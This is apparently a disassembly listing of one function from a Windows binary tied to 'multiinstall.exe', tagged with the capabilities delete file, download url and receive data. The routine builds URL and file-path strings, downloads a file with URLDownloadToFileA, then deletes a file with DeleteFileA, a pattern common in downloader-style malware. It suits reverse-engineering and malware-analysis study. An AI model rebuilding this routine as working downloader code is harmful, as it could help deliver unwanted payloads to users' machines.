Function at 0x426664
Capabilities:
Delete file
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 3
add esp, 0xfffff004
push eax
dec eax
jne 0x42666d
add esp, 0xfffff7dc
mov eax, dword [ebp - 4]
mov eax, 0x4dfb10
push ebx
push esi
push edi
mov edi, dword [ebp + 0x10]
mov esi, dword [ebp + 8]
mov ebx, 0x4dfac4
call fcn.0048c270
test esi, esi
je 0x4266a6
cmp dword [ebp + 0xc], 0
je 0x4266a6
test edi, edi
jne 0x4266b7
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
mov eax, edx
jmp 0x426977
cmp byte [esi], 0
je 0x4266c1
cmp byte [edi], 0
jne 0x4266d2
mov ecx, dword [ebp - 0x28]
mov dword fs:[0], ecx
mov eax, ecx
jmp 0x426977
mov edx, dword [sym.multiinstall.exe__Form1]
mov eax, dword [edx]
cmp byte [eax + 0x3b1c], 0
jne 0x4266fd
cmp byte [0x4dc25c], 0
jne 0x4266fd
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
mov eax, edx
jmp 0x426977
cmp byte [0x4dc25c], 0
jne 0x426723
push 0x64
mov ecx, dword [sym.multiinstall.exe__Form1]
mov eax, dword [ecx]
add eax, 0x3b1c
push eax
push 0x4dc25c
call fcn.00411b40
add esp, 0xc
push esi
push edi
lea edi, [ebp - 0x428]
mov esi, 0x4dc2c1
mov ecx, 0x100
lea eax, [ebx + 2]
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
push 0x400
push 0
push eax
call fcn.0040a1fc
add esp, 8
push eax
lea edx, [ebp - 0x428]
push edx
call fcn.00411b40
add esp, 0xc
push 0x400
lea ecx, [ebp - 0x428]
push ecx
call fcn.004121cc
add esp, 8
lea eax, [ebp - 0x428]
push 0x400
push esi
push eax
call fcn.00411af8
add esp, 0xc
push edi
mov esi, 0x4dc6c2
lea edi, [ebp - 0x828]
mov ecx, 0x100
rep movsd dword es:[edi], dword [esi]
pop edi
push 0x400
call fcn.00402b58
push eax
lea eax, [ebp - 0x828]
push eax
call fcn.00411b40
add esp, 0xc
push 0x400
lea edx, [ebp - 0x828]
push edx
call fcn.00412194
add esp, 8
push 0x400
lea ecx, [ebx + 0x13]
push ecx
lea eax, [ebp - 0x828]
push eax
call fcn.00411af8
add esp, 0xc
jmp 0x4267f9
push 0x400
lea edx, [ebx + 0x1f]
push edx
lea ecx, [ebp - 0x828]
push ecx
call fcn.00411af8
add esp, 0xc
mov word [ebp - 0x18], 8
lea edx, [ebp - 0x828]
lea eax, [ebp - 4]
call fcn.00497ebc
inc dword [ebp - 0xc]
mov eax, dword [eax]
call fcn.0043d63c
test al, al
lea eax, [ebp - 4]
setne dl
and edx, 1
push edx
mov edx, 2
dec dword [ebp - 0xc]
call fcn.00498000
pop ecx
test ecx, ecx
jne 0x4267e1
push edi
mov esi, 0x4dcac3
lea edi, [ebp - 0x3828]
mov ecx, 0xc00
rep movsd dword es:[edi], dword [esi]
pop edi
push 0x3000
push 1
lea eax, [ebx + 0x21]
push eax
call fcn.0040a1fc
add esp, 8
push eax
lea edx, [ebp - 0x3828]
push edx
call fcn.00411b40
add esp, 0xc
push 0x3000
lea ecx, [ebx + 0x25]
push ecx
lea eax, [ebp - 0x3828]
push eax
call fcn.00411af8
add esp, 0xc
push 0x3000
lea edx, [ebx + 0x27]
push edx
lea ecx, [ebp - 0x3828]
push ecx
call fcn.00411af8
add esp, 0xc
push 0x3000
push 0x4dc25c
call fcn.0040c7f4
pop ecx
push eax
lea eax, [ebp - 0x3828]
push eax
call fcn.00411af8
add esp, 0xc
push 0x3000
lea edx, [ebx + 0x2e]
push edx
lea ecx, [ebp - 0x3828]
push ecx
call fcn.00411af8
add esp, 0xc
push 0x3000
lea eax, [ebx + 0x25]
push eax
lea edx, [ebp - 0x3828]
push edx
call fcn.00411af8
add esp, 0xc
push 0x3000
mov ecx, dword [ebp + 0xc]
push ecx
lea eax, [ebp - 0x3828]
push eax
call fcn.00411af8
add esp, 0xc
push 0x3000
push edi
call fcn.0040c7f4
pop ecx
push eax
lea edx, [ebp - 0x3828]
push edx
call fcn.00411af8
add esp, 0xc
push 0x3000
lea ecx, [ebx + 0x2e]
push ecx
lea eax, [ebp - 0x3828]
push eax
call fcn.00411af8
add esp, 0xc
lea edx, [ebp - 0x828]
lea ecx, [ebp - 0x3828]
lea eax, [ebp - 0x428]
push 0
push 0
push edx
push ecx
push eax
call fcn.0040c62c
add esp, 8
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
lea edx, [ebp - 0x828]
push edx
call sub.KERNEL32.DLL_DeleteFileA
mov ecx, dword [ebp - 0x28]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret